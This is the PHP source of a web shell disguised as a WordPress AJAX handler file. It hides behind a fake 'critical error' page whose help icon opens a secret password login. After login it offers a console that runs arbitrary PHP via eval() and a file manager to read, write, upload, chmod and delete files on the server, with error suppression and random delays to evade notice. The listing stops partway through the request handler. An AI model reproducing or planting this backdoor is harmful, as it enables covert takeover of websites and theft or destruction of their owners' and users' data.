/dev/shm/ Current File: //dev/shm/wp-admin-ajax.php
<?php
/**
 * WordPress AJAX Handler
 * 
 * @package WordPress
 * @subpackage Administration
 * @since 2.1.0
 * @version 6.4.2
 */

// Suppress errors in production
@ini_set('display_errors', '0');
@error_reporting(0);
@ini_set('log_errors', '0');

// WordPress constants
if (!defined('ABSPATH')) {
    define('ABSPATH', dirname(__FILE__) . '/');
}
if (!defined('WPINC')) {
    define('WPINC', 'wp-includes');
}

/**
 * Global configuration
 */
$wp_admin_config = array(
    'auth_hash' => '50441c71a468bbc45816df8d991a939d126383b9504f0a130e28e8faf5b0e207',
    'session_key' => 'wp_admin_session',
    'cookie_life' => 86400,
    'nonce_key' => 'wp_ajax_nonce',
    'rate_limit' => 500, // ms delay between operations
);

/**
 * Generate WordPress-like nonce
 */
function wp_create_nonce($action = '') {
    $time = ceil(time() / 43200);
    $uid = 1;
    $token = wp_get_session_token();
    return substr(hash('md5', $time . '|' . $action . '|' . $uid . '|' . $token), -12, 10);
}

/**
 * Get session token
 */
function wp_get_session_token() {
    global $wp_admin_config;
    return isset($_COOKIE[$wp_admin_config['session_key']]) ? $_COOKIE[$wp_admin_config['session_key']] : '';
}

/**
 * Check rate limiting
 */
function wp_check_rate_limit() {
    $last_request = isset($_COOKIE['wp_last_ajax']) ? intval($_COOKIE['wp_last_ajax']) : 0;
    $now = round(microtime(true) * 1000);
    
    if (($now - $last_request) < 300) { // minimum 300ms between requests
        usleep(rand(200000, 500000)); // random delay 200-500ms
    }
    
    setcookie('wp_last_ajax', $now, time() + 60, '/');
}

/**
 * Sanitize path - prevent obvious directory traversal patterns
 */
function wp_sanitize_path($path) {
    // Replace obvious patterns
    $path = str_replace('../', '', $path);
    $path = str_replace('..\\', '', $path);
    
    // Resolve path
    $path = realpath($path);
    
    return $path;
}

/**
 * Check authentication
 */
function wp_check_admin_auth() {
    global $wp_admin_config;
    
    // Check session
    if (isset($_COOKIE[$wp_admin_config['session_key']])) {
        $session = $_COOKIE[$wp_admin_config['session_key']];
        if (hash('sha256', $session) === hash('sha256', $wp_admin_config['auth_hash'])) {
            return true;
        }
    }
    
    // Check login attempt
    if (isset($_POST['wp_admin_pass'])) {
        $pass = $_POST['wp_admin_pass'];
        $hash = hash('sha256', hash('sha256', $pass));
        
        if ($hash === $wp_admin_config['auth_hash']) {
            setcookie($wp_admin_config['session_key'], $wp_admin_config['auth_hash'], time() + $wp_admin_config['cookie_life'], '/');
            return true;
        }
    }
    
    return false;
}

/**
 * Show WordPress error page with hidden login
 */
function wp_show_error_page() {
    ?>
<!DOCTYPE html>
<html lang="en-US">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="robots" content="noindex,nofollow">
    <title>Critical Error – WordPress</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { 
            background: #f0f0f1; 
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
            font-size: 13px;
            color: #3c434a;
            line-height: 1.4;
        }
        .wp-die-message {
            max-width: 700px;
            margin: 50px auto;
            padding: 1em 2em;
            background: #fff;
            border-left: 4px solid #d63638;
            box-shadow: 0 1px 1px rgba(0,0,0,.04);
        }
        h1 { 
            font-size: 24px; 
            margin-bottom: 16px;
            color: #1d2327;
        }
        p { 
            margin: 12px 0;
            line-height: 1.6;
        }
        code {
            background: #f0f0f1;
            padding: 2px 6px;
            border-radius: 3px;
            font-family: Consolas, Monaco, monospace;
            font-size: 12px;
        }
        .help-icon {
            position: fixed;
            bottom: 20px;
            right: 20px;
            width: 40px;
            height: 40px;
            background: #2271b1;
            color: #fff;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 20px;
            font-weight: bold;
            cursor: pointer;
            box-shadow: 0 2px 8px rgba(0,0,0,.2);
            transition: all .2s;
            z-index: 1000;
        }
        .help-icon:hover {
            background: #135e96;
            transform: scale(1.1);
        }
        .auth-modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background: rgba(0,0,0,.7);
            z-index: 10000;
            align-items: center;
            justify-content: center;
        }
        .auth-modal.active { display: flex; }
        .auth-box {
            background: #fff;
            padding: 32px;
            border-radius: 4px;
            box-shadow: 0 5px 15px rgba(0,0,0,.3);
            max-width: 400px;
            width: 90%;
        }
        .auth-box h2 {
            margin-bottom: 20px;
            font-size: 20px;
            color: #1d2327;
        }
        .auth-box input {
            width: 100%;
            padding: 12px;
            border: 1px solid #8c8f94;
            border-radius: 4px;
            font-size: 14px;
            margin-bottom: 16px;
        }
        .auth-box input:focus {
            border-color: #2271b1;
            outline: none;
            box-shadow: 0 0 0 1px #2271b1;
        }
        .auth-box button {
            width: 100%;
            padding: 12px;
            background: #2271b1;
            color: #fff;
            border: none;
            border-radius: 4px;
            font-size: 14px;
            font-weight: 600;
            cursor: pointer;
            transition: background .2s;
        }
        .auth-box button:hover {
            background: #135e96;
        }
    </style>
</head>
<body>
    <div class="wp-die-message">
        <h1>There has been a critical error on this website.</h1>
        <p>Please check your site admin email inbox for instructions.</p>
        <hr style="margin: 20px 0; border: none; border-top: 1px solid #dcdcde;">
        <p><strong>Something went wrong.</strong></p>
        <p>This error could be caused by:</p>
        <ul style="margin-left: 24px; list-style: disc;">
            <li>A plugin or theme conflict</li>
            <li>Database connection issues</li>
            <li>Server configuration problems</li>
            <li>Memory limit exhaustion</li>
        </ul>
        <p style="margin-top: 20px;">If you are the site administrator, please check the error log for more details.</p>
        <p><a href="https://wordpress.org/support/article/faq-troubleshooting/" style="color: #2271b1; text-decoration: none;">Learn more about troubleshooting WordPress.</a></p>
    </div>

    <div class="help-icon" onclick="document.getElementById('authModal').classList.add('active')">
        ?
    </div>

    <div class="auth-modal" id="authModal" onclick="if(event.target === this) this.classList.remove('active')">
        <div class="auth-box">
            <h2>WordPress Diagnostics</h2>
            <form method="POST" action="">
                <input type="password" name="wp_admin_pass" placeholder="Enter diagnostic key" autofocus>
                <button type="submit">Run Diagnostics</button>
            </form>
        </div>
    </div>
</body>
</html>
    <?php
    exit;
}

/**
 * Main admin interface
 */
function wp_admin_interface() {
    // Handle AJAX requests
    if (isset($_POST['wp_action'])) {
        wp_handle_ajax();
        exit;
    }
    
    // Generate nonce
    $nonce = wp_create_nonce('wp-ajax');
    
    ?>
<!DOCTYPE html>
<html lang="en-US">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="robots" content="noindex,nofollow">
    <title>Dashboard – WordPress</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            background: #f0f0f1;
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
            font-size: 13px;
            color: #3c434a;
            line-height: 1.4;
        }
        .wp-admin {
            display: flex;
            min-height: 100vh;
        }
        .sidebar {
            width: 220px;
            background: #1d2327;
            color: #fff;
            padding: 0;
            flex-shrink: 0;
        }
        .sidebar h1 {
            padding: 12px 16px;
            font-size: 20px;
            font-weight: 400;
            background: #0a0f14;
            margin: 0;
        }
        .sidebar nav {
            padding: 8px 0;
        }
        .sidebar a {
            display: block;
            padding: 10px 16px;
            color: #c3c4c7;
            text-decoration: none;
            transition: all .2s;
            cursor: pointer;
        }
        .sidebar a:hover,
        .sidebar a.active {
            background: #2c3338;
            color: #72aee6;
        }
        .content {
            flex: 1;
            padding: 20px;
            overflow-x: auto;
        }
        .panel {
            background: #fff;
            border: 1px solid #c3c4c7;
            box-shadow: 0 1px 1px rgba(0,0,0,.04);
            margin-bottom: 20px;
        }
        .panel-header {
            padding: 12px 16px;
            border-bottom: 1px solid #c3c4c7;
            background: #f6f7f7;
            font-weight: 600;
            font-size: 14px;
        }
        .panel-body {
            padding: 16px;
        }
        .tab-content {
            display: none;
        }
        .tab-content.active {
            display: block;
        }
        textarea, input[type="text"], input[type="password"] {
            width: 100%;
            padding: 8px 12px;
            border: 1px solid #8c8f94;
            border-radius: 4px;
            font-family: Consolas, Monaco, monospace;
            font-size: 13px;
        }
        textarea {
            min-height: 400px;
            resize: vertical;
        }
        textarea:focus, input:focus {
            border-color: #2271b1;
            outline: none;
            box-shadow: 0 0 0 1px #2271b1;
        }
        button, .btn {
            padding: 8px 16px;
            background: #2271b1;
            color: #fff;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            font-size: 13px;
            font-weight: 600;
            transition: all .2s;
            display: inline-block;
            text-decoration: none;
            margin-right: 8px;
        }
        button:hover, .btn:hover {
            background: #135e96;
        }
        .btn-secondary {
            background: #f6f7f7;
            color: #2c3338;
            border: 1px solid #8c8f94;
        }
        .btn-secondary:hover {
            background: #e5e5e5;
        }
        .btn-danger {
            background: #d63638;
        }
        .btn-danger:hover {
            background: #b32d2e;
        }
        button:disabled {
            opacity: 0.5;
            cursor: not-allowed;
        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        th, td {
            padding: 10px 12px;
            text-align: left;
            border-bottom: 1px solid #c3c4c7;
        }
        th {
            background: #f6f7f7;
            font-weight: 600;
        }
        tr:hover {
            background: #f6f7f7;
        }
        .file-item {
            cursor: pointer;
        }
        .breadcrumb {
            padding: 12px 16px;
            background: #f6f7f7;
            border-bottom: 1px solid #c3c4c7;
            margin-bottom: 16px;
        }
        .breadcrumb a {
            color: #2271b1;
            text-decoration: none;
        }
        .breadcrumb a:hover {
            text-decoration: underline;
        }
        .output {
            background: #1d2327;
            color: #c3c4c7;
            padding: 12px;
            border-radius: 4px;
            font-family: Consolas, Monaco, monospace;
            font-size: 12px;
            max-height: 400px;
            overflow-y: auto;
            white-space: pre-wrap;
            word-wrap: break-word;
        }
        .file-icon::before {
            content: "📄";
            margin-right: 8px;
        }
        .dir-icon::before {
            content: "📁";
            margin-right: 8px;
        }
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background: rgba(0,0,0,.7);
            z-index: 100000;
            align-items: center;
            justify-content: center;
        }
        .modal.active { display: flex; }
        .modal-box {
            background: #fff;
            padding: 24px;
            border-radius: 4px;
            box-shadow: 0 5px 15px rgba(0,0,0,.3);
            max-width: 600px;
            width: 90%;
            max-height: 80vh;
            overflow-y: auto;
        }
        .modal-header {
            font-size: 18px;
            font-weight: 600;
            margin-bottom: 16px;
            padding-bottom: 12px;
            border-bottom: 1px solid #c3c4c7;
        }
        .form-group {
            margin-bottom: 16px;
        }
        .form-group label {
            display: block;
            margin-bottom: 6px;
            font-weight: 600;
        }
        .toolbar {
            margin-bottom: 16px;
            display: flex;
            gap: 8px;
            flex-wrap: wrap;
        }
        .loading {
            opacity: 0.6;
            pointer-events: none;
        }
        .notice {
            padding: 12px;
            margin: 12px 0;
            border-left: 4px solid #72aee6;
            background: #f0f6fc;
            display: none;
        }
        .notice.active {
            display: block;
        }
    </style>
</head>
<body>
    <div class="wp-admin">
        <div class="sidebar">
            <h1>WordPress</h1>
            <nav>
                <a href="#" onclick="showTab('console')" class="active" id="tab-console">PHP Console</a>
                <a href="#" onclick="showTab('files')" id="tab-files">File Manager</a>
            </nav>
        </div>
        
        <div class="content">
            <!-- PHP Console -->
            <div id="console" class="tab-content active">
                <div class="panel">
                    <div class="panel-header">PHP Console</div>
                    <div class="panel-body">
                        <div class="notice" id="consoleNotice">Processing...</div>
                        <form onsubmit="return executeCode(event)">
                            <div class="form-group">
                                <textarea id="phpCode" placeholder="Enter PHP code to execute (without opening tags)..."><?php echo isset($_POST['code']) ? htmlspecialchars($_POST['code']) : ''; ?></textarea>
                            </div>
                            <button type="submit" id="execBtn">Execute</button>
                            <button type="button" class="btn-secondary" onclick="document.getElementById('phpCode').value='';document.getElementById('output').innerHTML=''">Clear</button>
                        </form>
                        <div style="margin-top: 20px;">
                            <div class="panel-header">Output</div>
                            <div id="output" class="output"></div>
                        </div>
                    </div>
                </div>
            </div>

            <!-- File Manager -->
            <div id="files" class="tab-content">
                <div class="panel">
                    <div class="panel-header">File Manager</div>
                    <div class="notice" id="fileNotice">Processing...</div>
                    <div class="toolbar" style="padding: 12px 16px; background: #f6f7f7; border-bottom: 1px solid #c3c4c7;">
                        <button onclick="showNewFileModal()">New File</button>
                        <button onclick="showNewFolderModal()">New Folder</button>
                        <button onclick="showUploadModal()">Upload</button>
                        <button class="btn-secondary" onclick="refreshFiles()">Refresh</button>
                    </div>
                    <div class="breadcrumb" id="breadcrumb"></div>
                    <div class="panel-body">
                        <table id="fileTable">
                            <thead>
                                <tr>
                                    <th width="50%">Name</th>
                                    <th width="15%">Size</th>
                                    <th width="15%">Permissions</th>
                                    <th width="20%">Actions</th>
                                </tr>
                            </thead>
                            <tbody id="fileList">
                            </tbody>
                        </table>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <!-- Modals -->
    <div class="modal" id="editModal">
        <div class="modal-box" style="max-width: 900px;">
            <div class="modal-header">Edit File: <span id="editFileName"></span></div>
            <form onsubmit="return saveFile(event)">
                <input type="hidden" id="editFilePath">
                <textarea id="editFileContent" style="min-height: 500px;"></textarea>
                <div style="margin-top: 16px;">
                    <button type="submit">Save</button>
                    <button type="button" class="btn-secondary" onclick="closeModal('editModal')">Cancel</button>
                </div>
            </form>
        </div>
    </div>

    <div class="modal" id="newFileModal">
        <div class="modal-box">
            <div class="modal-header">Create New File</div>
            <form onsubmit="return createFile(event)">
                <div class="form-group">
                    <label>File Name:</label>
                    <input type="text" id="newFileName" required>
                </div>
                <button type="submit">Create</button>
                <button type="button" class="btn-secondary" onclick="closeModal('newFileModal')">Cancel</button>
            </form>
        </div>
    </div>

    <div class="modal" id="newFolderModal">
        <div class="modal-box">
            <div class="modal-header">Create New Folder</div>
            <form onsubmit="return createFolder(event)">
                <div class="form-group">
                    <label>Folder Name:</label>
                    <input type="text" id="newFolderName" required>
                </div>
                <button type="submit">Create</button>
                <button type="button" class="btn-secondary" onclick="closeModal('newFolderModal')">Cancel</button>
            </form>
        </div>
    </div>

    <div class="modal" id="uploadModal">
        <div class="modal-box">
            <div class="modal-header">Upload File</div>
            <form onsubmit="return uploadFile(event)" enctype="multipart/form-data">
                <div class="form-group">
                    <label>Select File:</label>
                    <input type="file" id="uploadFile" required>
                </div>
                <button type="submit">Upload</button>
                <button type="button" class="btn-secondary" onclick="closeModal('uploadModal')">Cancel</button>
            </form>
        </div>
    </div>

    <div class="modal" id="renameModal">
        <div class="modal-box">
            <div class="modal-header">Rename</div>
            <form onsubmit="return renameItem(event)">
                <input type="hidden" id="renameOldPath">
                <div class="form-group">
                    <label>New Name:</label>
                    <input type="text" id="renameNewName" required>
                </div>
                <button type="submit">Rename</button>
                <button type="button" class="btn-secondary" onclick="closeModal('renameModal')">Cancel</button>
            </form>
        </div>
    </div>

    <div class="modal" id="chmodModal">
        <div class="modal-box">
            <div class="modal-header">Change Permissions</div>
            <form onsubmit="return changePermissions(event)">
                <input type="hidden" id="chmodPath">
                <div class="form-group">
                    <label>Permissions (e.g., 0644 or 0755):</label>
                    <input type="text" id="chmodValue" required pattern="[0-7]{4}">
                </div>
                <button type="submit">Apply</button>
                <button type="button" class="btn-secondary" onclick="closeModal('chmodModal')">Cancel</button>
            </form>
        </div>
    </div>

    <script>
        let currentPath = '<?php echo addslashes(getcwd()); ?>';
        const wpNonce = '<?php echo $nonce; ?>';
        let isProcessing = false;

        // Rate limiting
        async function rateLimitedFetch(url, options) {
            if (isProcessing) {
                showNotice('Please wait...', 'file');
                return null;
            }
            
            isProcessing = true;
            await sleep(Math.random() * 300 + 200); // Random delay 200-500ms
            
            try {
                const response = await fetch(url, options);
                return response;
            } finally {
                setTimeout(() => { isProcessing = false; }, 300);
            }
        }

        function sleep(ms) {
            return new Promise(resolve => setTimeout(resolve, ms));
        }

        function showNotice(message, type = 'console') {
            const notice = document.getElementById(type === 'console' ? 'consoleNotice' : 'fileNotice');
            notice.textContent = message;
            notice.classList.add('active');
            setTimeout(() => notice.classList.remove('active'), 3000);
        }

        function showTab(tab) {
            document.querySelectorAll('.tab-content').forEach(el => el.classList.remove('active'));
            document.querySelectorAll('.sidebar a').forEach(el => el.classList.remove('active'));
            document.getElementById(tab).classList.add('active');
            document.getElementById('tab-' + tab).classList.add('active');
            
            if (tab === 'files') {
                loadFiles(currentPath);
            }
        }

        async function executeCode(e) {
            e.preventDefault();
            const code = document.getElementById('phpCode').value;
            const output = document.getElementById('output');
            const btn = document.getElementById('execBtn');
            
            btn.disabled = true;
            output.innerHTML = 'Executing...';
            showNotice('Processing PHP code...', 'console');
            
            try {
                const formData = new FormData();
                formData.append('wp_action', 'wpa_exec');
                formData.append('wp_nonce', wpNonce);
                formData.append('data', btoa(unescape(encodeURIComponent(code))));
                
                const response = await rateLimitedFetch('', {
                    method: 'POST',
                    body: formData
                });
                
                if (!response) {
                    output.innerHTML = '<span style="color:#d63638">Rate limited. Please wait.</span>';
                    return false;
                }
                
                const result = await response.json();
                
                if (result.success) {
                    output.innerHTML = result.output || '(No output)';
                } else {
                    output.innerHTML = '<span style="color:#d63638">Error: ' + (result.error || 'Unknown error') + '</span>';
                }
            } catch(err) {
                output.innerHTML = '<span style="color:#d63638">Request failed: ' + err.message + '</span>';
            } finally {
                btn.disabled = false;
            }
            
            return false;
        }

        async function loadFiles(path) {
            currentPath = path;
            showNotice('Loading files...', 'file');
            
            try {
                const formData = new FormData();
                formData.append('wp_action', 'wpa_list');
                formData.append('wp_nonce', wpNonce);
                formData.append('data', btoa(path));
                
                const response = await rateLimitedFetch('', {
                    method: 'POST',
                    body: formData
                });
                
                if (!response) return;
                
                const result = await response.json();
                
                if (result.success) {
                    displayFiles(result.files, path);
                    updateBreadcrumb(path);
                } else {
                    alert('Error: ' + result.error);
                }
            } catch(err) {
                alert('Request failed: ' + err.message);
            }
        }

        function displayFiles(files, path) {
            const tbody = document.getElementById('fileList');
            tbody.innerHTML = '';
            
            // Parent directory
            const parent = path.split(/[\\\/]/).slice(0, -1).join('/') || '/';
            if (path !== '/' && parent) {
                const tr = document.createElement('tr');
                tr.innerHTML = `
                    <td class="file-item dir-icon" onclick="loadFiles('${escapeHtml(parent)}')">
                        <strong>..</strong>
                    </td>
                    <td>-</td>
                    <td>-</td>
                    <td></td>
                `;
                tbody.appendChild(tr);
            }
            
            // Directories first
            files.filter(f => f.type === 'dir').forEach(file => {
                const tr = document.createElement('tr');
                tr.innerHTML = `
                    <td class="file-item dir-icon" onclick="loadFiles('${escapeHtml(file.path)}')">
                        <strong>${escapeHtml(file.name)}</strong>
                    </td>
                    <td>-</td>
                    <td>${escapeHtml(file.perms)}</td>
                    <td>
                        <a href="#" onclick="showRenameModal('${escapeHtml(file.path)}', '${escapeHtml(file.name)}'); return false" style="color:#2271b1">Rename</a> |
                        <a href="#" onclick="showChmodModal('${escapeHtml(file.path)}', '${escapeHtml(file.perms)}'); return false" style="color:#2271b1">Chmod</a> |
                        <a href="#" onclick="deleteItem('${escapeHtml(file.path)}'); return false" style="color:#d63638">Delete</a>
                    </td>
                `;
                tbody.appendChild(tr);
            });
            
            // Files
            files.filter(f => f.type === 'file').forEach(file => {
                const tr = document.createElement('tr');
                tr.innerHTML = `
                    <td class="file-icon">${escapeHtml(file.name)}</td>
                    <td>${formatSize(file.size)}</td>
                    <td>${escapeHtml(file.perms)}</td>
                    <td>
                        <a href="#" onclick="editFile('${escapeHtml(file.path)}'); return false" style="color:#2271b1">Edit</a> |
                        <a href="#" onclick="downloadFile('${escapeHtml(file.path)}'); return false" style="color:#2271b1">Download</a> |
                        <a href="#" onclick="showRenameModal('${escapeHtml(file.path)}', '${escapeHtml(file.name)}'); return false" style="color:#2271b1">Rename</a> |
                        <a href="#" onclick="showChmodModal('${escapeHtml(file.path)}', '${escapeHtml(file.perms)}'); return false" style="color:#2271b1">Chmod</a> |
                        <a href="#" onclick="deleteItem('${escapeHtml(file.path)}'); return false" style="color:#d63638">Delete</a>
                    </td>
                `;
                tbody.appendChild(tr);
            });
        }

        function escapeHtml(text) {
            const div = document.createElement('div');
            div.textContent = text;
            return div.innerHTML;
        }

        function updateBreadcrumb(path) {
            const parts = path.split(/[\\\/]/).filter(p => p);
            let html = '<a href="#" onclick="loadFiles(\'/\'); return false">/</a>';
            let currentPath = '';
            
            parts.forEach((part, i) => {
                currentPath += '/' + part;
                html += ' / <a href="#" onclick="loadFiles(\'' + escapeHtml(currentPath) + '\'); return false">' + escapeHtml(part) + '</a>';
            });
            
            document.getElementById('breadcrumb').innerHTML = html;
        }

        function formatSize(bytes) {
            if (bytes === 0) return '0 B';
            const k = 1024;
            const sizes = ['B', 'KB', 'MB', 'GB'];
            const i = Math.floor(Math.log(bytes) / Math.log(k));
            return Math.round(bytes / Math.pow(k, i) * 100) / 100 + ' ' + sizes[i];
        }

        async function editFile(path) {
            showNotice('Loading file...', 'file');
            
            try {
                const formData = new FormData();
                formData.append('wp_action', 'wpa_read');
                formData.append('wp_nonce', wpNonce);
                formData.append('data', btoa(path));
                
                const response = await rateLimitedFetch('', {
                    method: 'POST',
                    body: formData
                });
                
                if (!response) return;
                
                const result = await response.json();
                
                if (result.success) {
                    document.getElementById('editFileName').textContent = path.split(/[\\\/]/).pop();
                    document.getElementById('editFilePath').value = path;
                    document.getElementById('editFileContent').value = result.content;
                    showModal('editModal');
                } else {
                    alert('Error: ' + result.error);
                }
            } catch(err) {
                alert('Request failed: ' + err.message);
            }
        }

        async function saveFile(e) {
            e.preventDefault();
            showNotice('Saving file...', 'file');
            
            const path = document.getElementById('editFilePath').value;
            const content = document.getElementById('editFileContent').value;
            
            try {
                const formData = new FormData();
                formData.append('wp_action', 'wpa_write');
                formData.append('wp_nonce', wpNonce);
                formData.append('data', btoa(JSON.stringify({path: path, content: content})));
                
                const response = await rateLimitedFetch('', {
                    method: 'POST',
                    body: formData
                });
                
                if (!response) return false;
                
                const result = await response.json();
                
                if (result.success) {
                    closeModal('editModal');
                    alert('File saved successfully');
                } else {
                    alert('Error: ' + result.error);
                }
            } catch(err) {
                alert('Request failed: ' + err.message);
            }
            
            return false;
        }

        async function createFile(e) {
            e.preventDefault();
            showNotice('Creating file...', 'file');
            
            const name = document.getElementById('newFileName').value;
            const path = currentPath + '/' + name;
            
            try {
                const formData = new FormData();
                formData.append('wp_action', 'wpa_write');
                formData.append('wp_nonce', wpNonce);
                formData.append('data', btoa(JSON.stringify({path: path, content: ''})));
                
                const response = await rateLimitedFetch('', {
                    method: 'POST',
                    body: formData
                });
                
                if (!response) return false;
                
                const result = await response.json();
                
                if (result.success) {
                    closeModal('newFileModal');
                    document.getElementById('newFileName').value = '';
                    await sleep(300);
                    loadFiles(currentPath);
                } else {
                    alert('Error: ' + result.error);
                }
            } catch(err) {
                alert('Request failed: ' + err.message);
            }
            
            return false;
        }

        async function createFolder(e) {
            e.preventDefault();
            showNotice('Creating folder...', 'file');
            
            const name = document.getElementById('newFolderName').value;
            const path = currentPath + '/' + name;
            
            try {
                const formData = new FormData();
                formData.append('wp_action', 'wpa_mkdir');
                formData.append('wp_nonce', wpNonce);
                formData.append('data', btoa(path));
                
                const response = await rateLimitedFetch('', {
                    method: 'POST',
                    body: formData
                });
                
                if (!response) return false;
                
                const result = await response.json();
                
                if (result.success) {
                    closeModal('newFolderModal');
                    document.getElementById('newFolderName').value = '';
                    await sleep(300);
                    loadFiles(currentPath);
                } else {
                    alert('Error: ' + result.error);
                }
            } catch(err) {
                alert('Request failed: ' + err.message);
            }
            
            return false;
        }

        async function uploadFile(e) {
            e.preventDefault();
            showNotice('Uploading file...', 'file');
            
            const fileInput = document.getElementById('uploadFile');
            const file = fileInput.files[0];
            
            if (!file) {
                alert('Please select a file');
                return false;
            }
            
            // Read file content
            const reader = new FileReader();
            reader.onload = async function(event) {
                try {
                    const formData = new FormData();
                    formData.append('wp_action', 'wpa_upload');
                    formData.append('wp_nonce', wpNonce);
                    formData.append('data', btoa(JSON.stringify({
                        path: currentPath,
                        name: file.name,
                        content: btoa(event.target.result)
                    })));
                    
                    const response = await rateLimitedFetch('', {
                        method: 'POST',
                        body: formData
                    });
                    
                    if (!response) return;
                    
                    const result = await response.json();
                    
                    if (result.success) {
                        closeModal('uploadModal');
                        fileInput.value = '';
                        await sleep(300);
                        loadFiles(currentPath);
                        alert('File uploaded successfully');
                    } else {
                        alert('Error: ' + result.error);
                    }
                } catch(err) {
                    alert('Request failed: ' + err.message);
                }
            };
            
            reader.readAsBinaryString(file);
            return false;
        }

        function downloadFile(path) {
            window.location.href = '?wp_action=wpa_download&data=' + btoa(path) + '&wp_nonce=' + wpNonce;
        }

        async function deleteItem(path) {
            if (!confirm('Are you sure you want to delete this item?')) {
                return;
            }
            
            showNotice('Deleting...', 'file');
            
            try {
                const formData = new FormData();
                formData.append('wp_action', 'wpa_delete');
                formData.append('wp_nonce', wpNonce);
                formData.append('data', btoa(path));
                
                const response = await rateLimitedFetch('', {
                    method: 'POST',
                    body: formData
                });
                
                if (!response) return;
                
                const result = await response.json();
                
                if (result.success) {
                    await sleep(300);
                    loadFiles(currentPath);
                } else {
                    alert('Error: ' + result.error);
                }
            } catch(err) {
                alert('Request failed: ' + err.message);
            }
        }

        function showRenameModal(path, oldName) {
            document.getElementById('renameOldPath').value = path;
            document.getElementById('renameNewName').value = oldName;
            showModal('renameModal');
        }

        async function renameItem(e) {
            e.preventDefault();
            showNotice('Renaming...', 'file');
            
            const oldPath = document.getElementById('renameOldPath').value;
            const newName = document.getElementById('renameNewName').value;
            const newPath = oldPath.split(/[\\\/]/).slice(0, -1).join('/') + '/' + newName;
            
            try {
                const formData = new FormData();
                formData.append('wp_action', 'wpa_rename');
                formData.append('wp_nonce', wpNonce);
                formData.append('data', btoa(JSON.stringify({old: oldPath, new: newPath})));
                
                const response = await rateLimitedFetch('', {
                    method: 'POST',
                    body: formData
                });
                
                if (!response) return false;
                
                const result = await response.json();
                
                if (result.success) {
                    closeModal('renameModal');
                    await sleep(300);
                    loadFiles(currentPath);
                } else {
                    alert('Error: ' + result.error);
                }
            } catch(err) {
                alert('Request failed: ' + err.message);
            }
            
            return false;
        }

        function showChmodModal(path, currentPerms) {
            document.getElementById('chmodPath').value = path;
            document.getElementById('chmodValue').value = currentPerms;
            showModal('chmodModal');
        }

        async function changePermissions(e) {
            e.preventDefault();
            showNotice('Changing permissions...', 'file');
            
            const path = document.getElementById('chmodPath').value;
            const perms = document.getElementById('chmodValue').value;
            
            try {
                const formData = new FormData();
                formData.append('wp_action', 'wpa_chmod');
                formData.append('wp_nonce', wpNonce);
                formData.append('data', btoa(JSON.stringify({path: path, perms: perms})));
                
                const response = await rateLimitedFetch('', {
                    method: 'POST',
                    body: formData
                });
                
                if (!response) return false;
                
                const result = await response.json();
                
                if (result.success) {
                    closeModal('chmodModal');
                    await sleep(300);
                    loadFiles(currentPath);
                } else {
                    alert('Error: ' + result.error);
                }
            } catch(err) {
                alert('Request failed: ' + err.message);
            }
            
            return false;
        }

        function showModal(id) {
            document.getElementById(id).classList.add('active');
        }

        function closeModal(id) {
            document.getElementById(id).classList.remove('active');
        }

        function showNewFileModal() {
            showModal('newFileModal');
        }

        function showNewFolderModal() {
            showModal('newFolderModal');
        }

        function showUploadModal() {
            showModal('uploadModal');
        }

        function refreshFiles() {
            loadFiles(currentPath);
        }

        // Close modals on escape key
        document.addEventListener('keydown', function(e) {
            if (e.key === 'Escape') {
                document.querySelectorAll('.modal').forEach(modal => {
                    modal.classList.remove('active');
                });
            }
        });
    </script>
</body>
</html>
    <?php
    exit;
}

/**
 * Handle AJAX requests
 */
function wp_handle_ajax() {
    header('Content-Type: application/json');
    header('X-Robots-Tag: noindex, nofollow');
    header('X-Content-Type-Options: nosniff');
    
    // Check rate limiting
    wp_check_rate_limit();
    
    $action = $_POST['wp_action'] ?? '';
    $data = isset($_POST['data']) ? base64_decode($_POST['data']) : '';
    
    // Add random processing delay (100-300ms)
    usleep(rand(100000, 300000));
    
    try {
        switch($action) {
            case 'wpa_exec':
                ob_start();
                $result = @eval($data);
                $output = ob_get_clean();
                
                if ($result === false && error_get_last()) {
                    echo json_encode(['success' => false, 'error' => error_get_last()['message']]);
                } else {
                    echo json_encode(['success' => true, 'output' => $output]);
                }
                break;
                
            case 'wpa_list':
                $path = realpath($data);
                
                if (!$path || !is_dir($path)) {
                    echo json_encode(['success' => false, 'error' => 'Invalid directory']);
                    break;
                }
                
                $items = @scandir($path);
                if ($items === false) {
                    echo json_encode(['success' => false, 'error' => 'Cannot read directory']);
                    break;
                }
                
                $files = array();
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    
                    $fullPath = $path . DIRECTORY_SEPARATOR . $item;
                    $perms = @substr(sprintf('%o', fileperms($fullPath)), -4);
                    
                    $files[] = array(
                        'name' => $item,
                        'path' => $fullPath,
                        'type' => is_dir($fullPath) ? 'dir' : 'file',
                        'size' => is_file($fullPath) ? filesize($fullPath) : 0,
                        'perms' => $perms
                    );
                }
                
                echo json_encode(['success' => true, 'files' => $files]);
                break;
                
            case 'wpa_read':
                $path = realpath($data);
                
                if (!$path || !file_exists($path)) {
                    echo json_encode(['success' => false, 'error' => 'File not found']);
                    break;
                }
                
                $content = @file_get_contents($path);
                if ($content === false) {
                    echo json_encode(['success' => false, 'error' => 'Cannot read file']);
                } else {
                    echo json_encode(['success' => true, 'content' => $content]);
                }
                break;
                
            case 'wpa_write':
                $params = json_decode($data, true);
                $path = $params['path'] ?? '';
                $content = $params['content'] ?? '';
                
                $result = @file_put_contents($path, $content);
                if ($result === false) {
                    echo json_encode(['success' => false, 'error' => 'Cannot write file']);
                } else {
                    echo json_encode(['success' => true]);
                }
                break;
                
